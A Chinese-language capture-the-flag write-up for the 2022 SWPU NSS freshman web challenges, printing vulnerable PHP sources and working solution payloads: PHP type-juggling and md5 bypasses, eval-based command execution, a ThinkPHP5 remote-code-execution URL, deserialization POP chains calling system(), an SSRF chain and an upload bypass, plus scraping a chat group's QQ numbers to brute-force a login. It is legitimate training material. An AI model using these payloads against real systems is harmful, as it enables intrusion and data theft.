2022 SWPU NSS 新生赛 Web Writeup

简单题

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031824887.png

用户名是实验室名 (NSS), 密码是招新群某位的 qq

招新群一直找不到, 于是去 qun.qq.com 导出了下 nss 群里所有人的 qq, 用 intruder 爆破了一会, 结果是 2122693401

登录之后是个 intval 的绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031827657.png

response header

1
hint: select * from 'admin' where password=md5($pass,true)

填入 ffifdyop, 然后右键查看源码

1
2
3
4
5
6
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031829626.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031830836.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031831420.png

社工题

Google 和百度识图搜一下发现是 成都山水间古迹酒店, 然后搜一下电话号码

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031834315.png

- 去掉, 输入 02886112888 即可得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031835759.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210031840503.png

右键注释

1
2
3
4
5
6
7
<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

找到一个加密前后都是 0e 的字符串就行了

1
md5(0e215962017) = 0e291242476940776845150308577824

之后跳转到 start.php, response header 中有 hint: why not go to f14g.php first

最后再根据 hint 跳转到 F1l1l1l1l1lag.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        if (strlen($get)>18){
            die("This is too long.");
            }
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }
} 
?>
1
http://1.14.71.254:28275/F1l1l1l1l1lag.php?get=system($_GET[1]);&1=cat /flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032054842.png

.htaccess

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032059850.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032059105.png

flag 在环境变量里

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032100687.png

/js/1.js

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032101022.png

解码后是 NsScTf.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
}

访问 hint2.php 显示 有没有一种可能,类是nss2

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032103358.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032103349.png

不太理解这题是干什么的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032106724.png

查看 robots.txt 发现 /NSS/index.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032107363.png

thinkphp5

参考文章 https://y4er.com/posts/thinkphp5-rce/

随便找一个 payload

1
http://1.14.71.254:28133/NSS/index.php?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=cat /nss/ctf/flag/flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210032109282.png

报错注入, 过滤了空格和 and, 分别用注释和双写绕过

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210040917578.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

简单 pop 链构造以及 wakeup 的绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

class lt
{
   public $impo;
   public $md51;
   public $md52;

}

class fin
{
   public $a = 'assert';
   public $title = 'system($_GET[1])';

}


$b = new fin();

$a = new lt();
$a->impo = $b;
$a->md51 = 's878926199a';
$a->md52 = 's155964671a';

echo serialize($a);

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210040923561.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;

     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }

}
unserialize($_POST['nss']);
highlight_file(__FILE__);

?> 

简单反序列化

1
2
3
4
5
6
7
8
9
<?php

class lyh{
    public $lt = 'assert';
    public $lly = 'system($_GET[1]);';
}

echo serialize(new lyh());
?>

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210041230712.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210041231766.png

右键查看 main.js

1
2
3
4
5
6
7
8
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

base64 解密后是 tapcode

记得把空格去掉, 不然解出来的明文会有缺失

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210041232783.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}

$a = new X('fllllllag.php');
echo serialize($a);

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210201141148.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

?>

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210201143669.png

php 反序列化 + ssrf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
class FileViewer{
    public $black_list = "flag";
    public $local = "http://127.0.0.1/";
    public $path;
    public function __call($f,$a){
        $this->loadfile();
    }
    public function loadfile(){
        if(!is_array($this->path)){
            if(preg_match("/".$this->black_list."/i",$this->path)){
                $file = $this->curl($this->local."cheems.jpg");
            }else{
                $file = $this->curl($this->local.$this->path);
            }
        }else{
            $file = $this->curl($this->local."cheems.jpg");
        }
        echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
    }
    public function curl($path){
        $url = $path;
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        $response = curl_exec($curl);
        curl_close($curl);
        return $response;
    }
    public function __wakeup(){
        $this->local = "http://127.0.0.1/";
    }
}
class Backdoor{
    public $a;
    public $b;
    public $superhacker = "hacker.jpg";
    public function goodman($i,$j){
        $i->$j = $this->superhacker;
    }
    public function __destruct(){
        $this->goodman($this->a,$this->b);
        $this->a->c();
    }
}
if(isset($_GET['source'])){
    highlight_file(__FILE__);
}else{
    if(isset($_GET['image_path'])){
        $path = $_GET['image_path'];    //flag in /flag.php
        if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
            echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
        }else{
            echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
        }

    }else if(isset($_GET['path_info'])){
        $path_info = $_GET['path_info'];
        $FV = unserialize(base64_decode($path_info));
        $FV->loadfile();
    }else{
        $path = "vergil.jpg";
        echo '<h2>POWER!!</h2>
        <img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
    }
}
?>

先读取 flag.php

1
http://43.142.108.3:28827/?image_path=flag.php

base64 解密

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210250935614.png

提示真正的 flag 在 127.0.0.1:65500, 那么就需要使用那两个类来进行 ssrf

FileViewer 类有 __wakeup, 但题目 php 版本有点高, 无法改数字绕过, 这时候就需要换个思路

注意到 Backdoor 类的 goodman 方法可以修改某个对象的属性, 而 goodman 又是在 __destruct 里被触发的, 刚好在 __wakeup 之后

那么就可以在 __destruct 的时候重新给 FileViewer 赋值 local, 从而间接地绕过 __wakeup

payload 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class FileViewer{
    public $local = "http://127.0.0.1:65500/";
    public $path = '';
}
    class Backdoor{
    public $a;
    public $b;
    public $superhacker;
}

$y = new FileViewer();
$x = new Backdoor();
$x->a = $y;
$x->b = 'local';
$x->superhacker = 'http://127.0.0.1:65500/';
$z = new FileViewer();
$z->test = $x;
echo base64_encode(serialize($z));

注意程序在 unserialize 之后会调用 $FV->loadfile();, 如果 $FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行

解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210250942535.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210250943748.png

简单文件上传, 用 xbm 头绕过图片长宽的检测

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210250846919.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210250846640.png